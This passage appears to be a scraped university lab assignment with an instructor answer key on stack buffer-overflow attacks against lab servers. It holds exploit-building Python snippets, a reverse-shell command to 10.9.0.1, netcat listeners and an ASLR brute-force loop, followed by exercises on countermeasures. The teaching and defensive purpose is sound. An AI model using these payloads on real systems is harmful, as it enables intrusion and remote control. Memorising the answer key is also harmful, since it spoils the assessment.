CHANGE Page 16 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 19 offset = 0 # NEED TO CHANGE 20 21 # Use L=4 for 32-bit address and L=8 for 64-bit address 22 L = 4 23 content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) 24 ################################################################## 25 # Write the content to a file 26 with open ( ’badfile’ , ’wb’ ) as f: 27 f.write(content) After you finish the above program, run it. This will generate the contents for badfile . Then, feed badfile to the vulnerable server. If your exploit is implemented correctly, the command you put inside your shellcode will be executed. If your command generates some outputs, you should be able to see them from the container window. $./exploit.py // create the badfile $ cat badfile | nc 10.9.0.5 9090 In your assignment report, please be sure to explain all steps taken to conduct the attack and provide appropriate screenshots to show that you can successfully get the vulnerable server to run your commands. Solution: Award 1 point for demonstrating that a benign hello message was sent to the server. Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate return address (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code, 1 point for explanation). Award 1 point for selecting L=4 for the 32-bit address case in the code. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should begin by sending a benign hello message to the server. This will allow them to determine the values of the frame pointer ( ebp ) and the address of the buffer &buffer . Using this information, students should make the following modifications to construct exploit-L1.py . # Put the shellcode at the end start = 517 - len (shellcode) content[start:start + len (shellcode)] = shellcode # From server printout: ebp = 0xffffd1d8 ret = 0xffffd1d8 + 8 # From server printout: $ebp - &buffer = 112 offset = 112 + 4 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) After running the exploit program, students should see the result of their shellcode command on the server’s console. Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Note that there is some randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. Page 17 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 (b) [5 points] For the training program, SecureTech Industries is not interested in running specific pre-determined commands. Instead, they want the trainees to be able to get a root shell on the target server, so they can type any command they want. Since you are on a remote machine, if you simply get the server to run /bin/sh , you won’t be able to control the shell program. A reverse shell is a typical technique to solve this problem. Section 2.3 provides detailed instructions on how to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target server. Please provide appropriate screenshots to show that you can successfully get a reverse shell. NOTE : Please remember to start a netcat server (see Section 2.3 ) in a separate terminal window on the VM (i.e., the attacker machine). Solution: Award 1 point for explaining the changes to the shellcode with the revsere shell command. Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 1 point for explaining the steps to conduct the attack. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should replace the command in their shellcode with the following reverse shell command: "/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" Before running the exploit-L1.py script again, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L1.py script again, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.5 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Problem 3 [10 points] Attacking a 32-bit Server Program: Knowing the Range of the Buffer Size (Level-2): In this problem, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. The target server is 10.9.0.6 (the port number is still 9090 , and the vulnerable program is still a 32-bit program). When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.6 9090 Ctrl+C // Messages printed out by the container server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer’s address inside bof(): 0xffffda3c server-2-10.9.0.6 | ==== Returned Properly ==== As you can see, the server only gives the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack in Problem 2. To simplify the task, we assume that the the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs). Range of the buffer size (in bytes): [100, 300] Page 18 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a root shell on the target server (using the reverse shell technique). Please note that you are only allowed to construct one payload that works for any buffer size within this range. You will not get full points if you use a brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That’s why minimizing the number of trials is important for attacks. In your assignment report, please be sure to explain all steps taken to conduct the attack, clearly state and describe the method that you used, and provide appropriate screenshots to show that you can successfully get the vulnerable server to run your commands. Solution: Award 1 point for demonstrating that a benign hello message was sent to the server. Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate return address (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate offset using the spraying method (1 point for code, 1 point for explanation). Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should begin by sending a benign hello message to the server. This will allow them to determine the value of the address of the buffer ( &buffer ). Theywill notice that without the value fo the frame pointer it is difficult to know the size of the buffer, so it is difficult to know exactly where to place the return address. Students are expected to use the spraying technique described in Section 2.1.3 . Students need to put the shellcode near the end of the buffer, so choosing an offset of 300 ( students may choose different values that work ) should hit one of the NOP s, which will eventually reach the shellcode. Therefore, students can add 300 to the buffer’s address, and use the result as the return address. Using this information, students should the make the following modifications to construct exploit-L2.py . # Put the shellcode at the end start = 517 - len (shellcode) content[start:start + len (shellcode)] = shellcode # From server printout: &buffer = 0xffffd118 # Add 300, this gives us one of the entry points for the shellcode ret = 0xffffd118 + 300 # Spray the buffer with the return address, from 0 to 50*4. # One of them should be the actual return address field. # If the range changes, we need to adjust the range value. for offset in range (50): content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder= ’little’ ) Before running the exploit-L2.py script, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L2.py script, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.6 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Page 19 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Problem 4 [11 points] Attacking a 64-bit Server Program: Knowing the Buffer Size and Address (Level-3): In the previous problems, the target servers were running 32-bit programs. In this problem, the target is 10.9.0.7 , which runs the 64-bit version of the stack program. When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.7 9090 Ctrl+C // Messages printed out by the container server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 6 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0 server-3-10.9.0.7 | Buffer’s address inside bof(): 0x00007fffffffe070 server-3-10.9.0.7 | ==== Returned Properly ==== You can see the values of the frame pointer and buffer’s address become 8 bytes long (instead of 4 bytes in 32-bit programs). Your job is to construct a payload to exploit the buffer overflow vulnerability of the server. You ultimate goal is to get a root shell on the target server. You can use the shellcode from Problem 1, but you need to use the 64-bit version of the shellcode. Compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines are more difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only addresses from 0x00 through 0x00007FFFFFFFFFFF are allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem. In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied into the stack via strcpy() . We know that the strcpy() function will stop copying when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack. Remember to carefully describe how you solve this problem in your assignment report. In your assignment report, please be sure to explain all steps taken to conduct the attack and provide appropriate screenshots to show that you can successfully get the vulnerable server to run your commands. NOTE : Please remember to copy and paste the 64-bit shellcode into the exploit code! Solution: Award 1 point for demonstrating that a benign hello message was sent to the server. Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate return address (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code, 1 point for explanation). Award 1 point for selecting L=8 for the 64-bit address case in the code. Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should begin by sending a benign hello message to the server. This will allow them to determine the values of the frame pointer ( rbp ) and the address of the buffer &buffer . If the buffer’s return address contains zero, you cannot put the shellcode at the end, because the zero of the address will terminate the strcpy() . Instead, students should put the shellcode inside the buffer (near the beginning), before they put the return address. Then they can jump to the beginning of the buffer, which contains NOP s which will eventually lead to the shellcode. Using this information, students should make the following modifications to construct exploit-L3.py . Page 20 of 26
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 # Put the shellcode near the beginning of the buffer start = 40 content[start:start+ len (shellcode)] = shellcode # From server: &buffer = 0x00007fffffffdff0 # From server: $rbp - &buffer = 208 ret = 0x7fffffffdff0 offset = 208 + 8 L = 8 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) In this example solution, it should be noted that there are two zeros in ret ’s value. Fortunately, for a Little-Endian machine, the zeros are put at the higher address like this: f0 df ff ff ff 7f 00 00 (from how to high). The strcpy() function will copy up to 7f ; anything after that will not be copied to the buffer inside bof . This is the reason why we put everything, including the shellcode, before the return address. Before running the exploit-L3.py script, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L3.py script, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.7 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Problem 5 [11 points] Attacking a 64-bit Server Program: Dealing with a Small Buffer (Level-4): The server in this task is similar to that in the Level-3 attack in Problem 4, except that the buffer size is much smaller. The target for this problem is 10.9.0.8 . When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.8 9090 Ctrl+C // Messages printed out by the container server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0 server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe190 server-4-10.9.0.8 | ==== Returned Properly ==== From the printout, you can see the distance between the frame pointer and the buffer’s address is only about 32 bytes (the actual distance may be different). In Problem 4, the distance was much larger. In this problem, your goal is the same: get a root shell on this server. The server still takes in 517 bytes of input data from the user. In your assignment report, please be sure to explain all steps taken to conduct the attack and provide appropriate screenshots to show that you can successfully get the vulnerable server to run your commands. Page 21 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 HINT : To solve this problem, you need to think about what the layout of the execution stack for the vulnerable stack.c looks like. You can look at the stack.c code in the server-code folder of the setup files for this assignment for some hints. Solution: Award 1 point for demonstrating that a benign hello message was sent to the server. Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate return address (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code, 1 point for explanation). Award 1 point for selecting L=8 for the 64-bit address case in the code. Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should begin by sending a benign hello message to the server. This will allow them to determine the values of the frame pointer ( rbp ) and the address of the buffer &buffer . Suppose we see the following results: server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe0c0 server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe060 We can see that the distance between rbp and buffer is only 96 bytes. This is too small to hold the shellcode (the size of the shellcode is about 160 bytes). Therefore, the technique used in the previous problem (Level-3) does not work for this attack, so we need to find another way to put the shellcode in the buffer. Actually, the shellcode is already on the stack, but it is in the main function’s stack frame, not in bof() . Therefore, we just need to set the return address to the main function’s stack frame. This requires some calculation. There is a dummy stack frame between bof() and main() corresponding to dummy_function() in stack.c , and its size is about 1000 bytes. Therefore, we can add 1200 to the rbp value ( students may have to try different values here ). That should land inside the input buffer, hitting one of the NOP s which will eventually lead to the shellcode. Using this information, students should make the following modifications to construct exploit-L4.py . # Put the shellcode at the end start = 517 - len (shellcode) content[start:start + len (shellcode)] = shellcode # From server: $rbp = 0x00007fffffffe0c0 ret = 0x7fffffffe0c0 + 1200 # From server: $rbp - &buffer = 96 offset = 96 + 8 L = 8 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) Before running the exploit-L4.py script, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L4.py script, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.8 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Page 22 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Problem 6 [8 points] Experimenting with the Address Randomization: At the beginning of this assignment, we turned off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this problem, we will turn it back on, and see how it affects the attack. You can run the following command on your VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM. $ sudo /sbin/sysctl -w kernel.randomize_va_space=2 (a) [5 points] Send a hello message to the Level-1 and Level-3 servers, and do it multiple times. In your assignment report, please describe your observations, and explain why ASLR makes a buffer-overflow attack more difficult. Do not forget to show that address randomization is turned on and to include screenshots of your observations to aid in your explanation. HINT : Make sure you are using the reverse shell command in the shellcode instead of an echo command. The echo command will not block, so even if the attack succeeds, it will be hard for you to know. The reverse shell command will block if it is successfully executed. Solution: Award 1 point for demonstrating that address randomization is turned on. Award 1 point for executing the attack multiple times on each of the Level-1 server. Award 1 point for executing the attack multiple times on each of the Level-3 server. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should show that they have enabled the address randomization. Students should generate badfile using exploit-L1.py and exploit-L3.py . They should make sure that the reverse shell command is used. Students should observe that they are unable to get a root shell this time and the program should return a Segmentation fault error. Due to address randomization, each time the program is executed, the stack begins at a different location in the virtual address space of the program. This causes the program to generate a different buffer address. In each program execution, when the buffer overflow talkes place, it overwrites the return address with a hard-coded address. With address randomization turned off, this is the address of one of the NOP instructions. When address randomization is turned on, this address could refer to some other region of the virtual address space, like the code region, the kernel region, etc. This causes the program to crash with Segmentation fault when it jumps to that address on return of the bof() function. Students should provide adequate explanation of their process and results with appropriate code snippets and/or screenshots. (b) [3 points] It was reported that on 32-bit Linux machines, only 19 bits can be used for address randomization. That is not enough, and an attacker can easily hit the target if the attack is conducted for a sufficient number of times. For 64-bit machines, the number of bits used for randomization is significantly increased. In this problem, you will give it a try on the 32-bit Level-1 server. You can use a brute-force approach to attack the server repeatedly, hoping that the address we put in our payload can eventually be correct. Make sure to use the payload from the Level-1 attack (Problem 2). You can use the following shell script to run the vulnerable program in an infinite loop. If you get a reverse shell, the script will stop; otherwise, it will keep running. If you are not so unlucky, you should be able to get a reverse shell within 10 minutes. Please describe your observation. Do not forget to include appropriate code snippets and/or screenshots. NOTE : You may need to change the permissions of the script (using chmod ) so it can be executed. #!/bin/bash SECONDS=0 value=0 Page 23 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 while true ; do value=$(( $value + 1 )) duration=$SECONDS min=$(($duration / 60)) sec=$(($duration % 60)) echo "$min minutes and $sec seconds elapsed." echo "The program has been running $value times so far." cat badfile | nc 10.9.0.5 9090 done Solution: Award 1 point for running the script to conduct a brute-force attack on the vulnerable program. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. To defeat address randomization, students should run brute_force.sh . After some time, the program gets blocked. On executing the given script and look at the nc window, students should observe that after running the program many times, they should be able to obtain a root shell. This is because out of several tries, during one of the tries, the stack will begin at the address where it begins when the randomization is turned off. Students should provide adequate screenshots and/or explanation showing how many times the script executed and the elapsed time taken to succeed in the attack. Problem 7 [5 points] Experimenting with the StackGuard Protection: Many compilers, such as gcc , implement a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the StackGuard protection. In this problem, you will turn it on and see what happens. Please go to the server-code folder, remove the -fno-stack-protector flag from the gcc flag, and compile stack.c . In this problem, you will only use stack-L1 , but instead of running it in a container, you should directly run it from the command line. Create a file that can cause a buffer overflow, and then feed the content of the file to stack-L1 using the command below: $ ./stack-L1 < badfile Please describe and explain your observations. You may report any error messages you observe. Do not forget to explain all of your steps and to include appropriate code snippets and/or screenshots so that someone reading your report will know what to expect when repeating your experiment. NOTE : Before working on this problem, remember to turn off the address randomization first (see Section 3.1 ), or you will not know which defense mechanism helps achieve the protection. Solution: Award 1 point for explaining how to compile stack-L1 . Award 1 point for explaining how the badfile was created. Award 1 point for showing what happens when the program is executed. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should create badfile using exploit-L1.py . Students should explain how stack-L1 was obtained from stack.c compiled without the -fno-stack-protector option which will enable StackGuard . Students should observe that they are unable conduct an attack and that they receive a message stating *** stack smashing detected *** . With the StackGuard enabled, there is a special value added before the return address in the stack frame. Before the program uses the return address to return from the bof() function, the value will Page 24 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 be compared to a global variable stored in the GS segment. If the values mismatch due to a buffer overflow, the system will crash the program. This is why the program crashes with the message *** stack smashing detected *** indicating that the StackGuard was able to recognize a buffer overflow situation. Students should demonstrate their findings with suitable screenshots and explanations. Problem 8 [5 points] Experimenting with the Non-executable Stack Protection: Operating systems used to allow executable stacks, but this has now changed: In the Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the gcc, which by default makes stack non-executable. We can specifically make it non-executable using the -z noexecstack flag in the compilation. In the previous problems, we used -z execstack to make stacks executable. In this problem, you will make the stack non-executable. You should conduct this experiment in the shellcode folder from the setup files. The call_shellcode program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile call_shellcode.c into a32.out and a64.out , using the -z noexecstack option. Run them, and describe and explain your observations. In particular, explain whether or not you were able to get a shell. If not, explain the problem by describing how this protection scheme make your attacks difficult. Do not forget to explain all of your steps and to include appropriate code snippets and/or screenshots. NOTE : Before working on this problem, remember to turn off the address randomization first (see Section 3.1 ), or you will not know which defense mechanism helps achieve the protection. Solution: Award 1 point for explaining how the call_shellcode.c was recompiled. Award 1 point for showing what happens when a32.out is executed. Award 1 point for showing what happens when a64.out is executed. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should explain how call_shellcode.c using the -z noexecstack option. Students should execute both a32.out and a64.out . Students should observe that since the stack is not executable, even if we overflow the buffer and attempt to jump to the target executable instruction address, the CPU will not execute it. More specifically, when the program is compiled with a non-executable stack, it should terminate with a Segmentation fault . This is because when the CPU attempts to execute instructions from a non-executable memory, the memory management unit (MMU) checks the execute permission and generates a trap when not found. When the operating system receives this trap, it sends a Segmentation fault signal to the process that causes the program termination. Students should demonstrate their findings with suitable screenshots and explanations. Page 25 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part IV Summary of Findings 1 Reminder: Obligations At the end of this assignment, you will be required to deliver the following information and outcomes: 1. A report that can act as a training manual for new hires to better understand buffer overflow vulnerabilities, attacks, and countermeasures. The report should be a complete walkthrough providing a detailed explanation of all of the steps involved in carrying out the various activities and tasks that will be part of the penetration testing training program module related to buffer overflows. 2. A summary of the main take-away points of the training module, including a list of recommendations (“do’s and don’ts”), so that the trainees can be better prepared to protect their programs from buffer overflow vulnerabilities. 2 Problems and Tasks Problem 9 [10 points] Recommendations: Summarize the take-away points for the SecureTech Industries trainees after having conducted all of the other activities and tasks in your training module. Be sure to clearly state what they should remember about buffer overflow vulnerabilities and attacks, and the various countermeasures that can be used to protect programs from buffer overflow. Do not forget to summarize any ways which buffer overflow countermeasures can be defeated. Provide a short list of recommendations (“do’s and don’ts”) so that the trainees can be better prepared to carry out attacks exploiting buffer overflow vulnerabilities as well as to protect their programs from buffer overflow vulnerabilities. HINT: You may want to refer to specific observations from your experiments obtained in the problems and tasks in this assignment to support your summary and recommendations. Solution: Award 5 points for a suitable summary of the take-away points. Award 5 points for suitable recommendations. Students may have many different answers. Points should be awarded for a reasonable summary and recommendations. END OF ASSIGNMENT Page 26 of 26
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help